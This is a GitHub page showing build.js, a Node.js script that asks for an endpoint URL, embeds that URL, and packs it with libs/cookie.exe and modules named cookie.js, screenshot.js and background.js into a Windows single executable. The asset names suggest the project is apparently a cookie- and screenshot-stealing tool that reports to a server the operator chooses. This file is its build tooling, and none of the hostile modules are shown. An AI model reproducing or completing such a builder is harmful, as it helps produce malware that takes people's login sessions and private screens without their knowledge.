Repository navigation
Expand file tree
/
Copy pathbuild.js
More file actions
133 lines (109 loc) · 3.9 KB
/
Copy pathbuild.js
File metadata and controls
133 lines (109 loc) · 3.9 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
const { spawnSync } = require("node:child_process");
const fs = require("node:fs");
const path = require("node:path");
const readline = require("node:readline");
const SEA_CONFIG_PATH = "sea-config.win-x64.json";
const promptLine = (question) => new Promise((resolve) => {
const rl = readline.createInterface({
input: process.stdin,
output: process.stdout,
});
rl.question(question, (answer) => {
rl.close();
resolve(answer);
});
});
const resolveCliArg = (name) => {
const index = process.argv.indexOf(name);
if (index === -1) return "";
return (process.argv[index + 1] || "").trim();
};
const resolveApiUrl = async() => {
const cliUrl = resolveCliArg("--api-url");
if (cliUrl) return cliUrl;
if (!process.stdin.isTTY || !process.stdout.isTTY) {
process.stderr.write("Endpoint URL required. For non-interactive use --api-url.\n");
process.exit(1);
}
while (true) {
const answer = await promptLine("Endpoint URL: ");
const apiUrl = (answer || "").trim();
if (!apiUrl) {
process.stdout.write("Endpoint URL cannot be empty.\n");
continue;
}
return apiUrl;
}
};
const ensureBuildAssets = (apiUrl) => {
const buildDir = path.resolve(process.cwd(), "build");
const apiUrlPath = path.join(buildDir, "api-url.txt");
fs.mkdirSync(buildDir, { recursive: true });
fs.writeFileSync(apiUrlPath, `${apiUrl}\n`, "utf8");
};
const assertSeaAsset = (configDir, assets, key, expectedPath) => {
const configuredPath = assets[key];
if (configuredPath !== expectedPath) {
throw new Error(`SEA asset "${key}" must map to "${expectedPath}" (current: "${configuredPath || ""}")`);
}
const absolutePath = path.resolve(configDir, configuredPath);
if (!fs.existsSync(absolutePath)) {
throw new Error(`SEA asset source file missing: ${absolutePath}`);
}
};
const validateSeaConfig = () => {
const configPath = path.resolve(process.cwd(), SEA_CONFIG_PATH);
const configDir = path.dirname(configPath);
let config = null;
try {
config = JSON.parse(fs.readFileSync(configPath, "utf8"));
} catch (error) {
throw new Error(`Cannot parse SEA config at ${configPath}: ${error.message}`);
}
const assets = config.assets || {};
assertSeaAsset(configDir, assets, "build/api-url.txt", "./build/api-url.txt");
assertSeaAsset(configDir, assets, "libs/cookie.exe", "./libs/cookie.exe");
assertSeaAsset(configDir, assets, "functions/index.js", "./src/functions/index.js");
assertSeaAsset(configDir, assets, "modules/background.js", "./src/modules/background.js");
assertSeaAsset(configDir, assets, "modules/cookie.js", "./src/modules/cookie.js");
assertSeaAsset(configDir, assets, "modules/screenshot.js", "./src/modules/screenshot.js");
};
const runBuild = () => {
const configPath = path.resolve(process.cwd(), SEA_CONFIG_PATH);
const configDir = path.dirname(configPath);
const configFile = path.basename(configPath);
const attempts = [
["--build-sea", configFile],
["--experimental-sea-config", configFile],
];
let lastResult = null;
for (const args of attempts) {
const result = spawnSync(process.execPath, args, {
cwd: configDir,
encoding: "utf8",
});
if (result.stdout) process.stdout.write(result.stdout);
if (result.stderr) process.stderr.write(result.stderr);
if (!result.error && result.status === 0) {
process.exit(0);
}
lastResult = result;
const output = `${result.stdout || ""}\n${result.stderr || ""}`;
if (!/bad option|unknown option/i.test(output)) break;
}
if (lastResult?.error) {
process.stderr.write(`Build failed: ${lastResult.error.message}\n`);
process.exit(1);
}
process.exit(lastResult?.status ?? 1);
};
const main = async() => {
const apiUrl = await resolveApiUrl();
ensureBuildAssets(apiUrl);
validateSeaConfig();
runBuild();
};
main().catch((error) => {
process.stderr.write(`Unexpected error: ${error.message}\n`);
process.exit(1);
});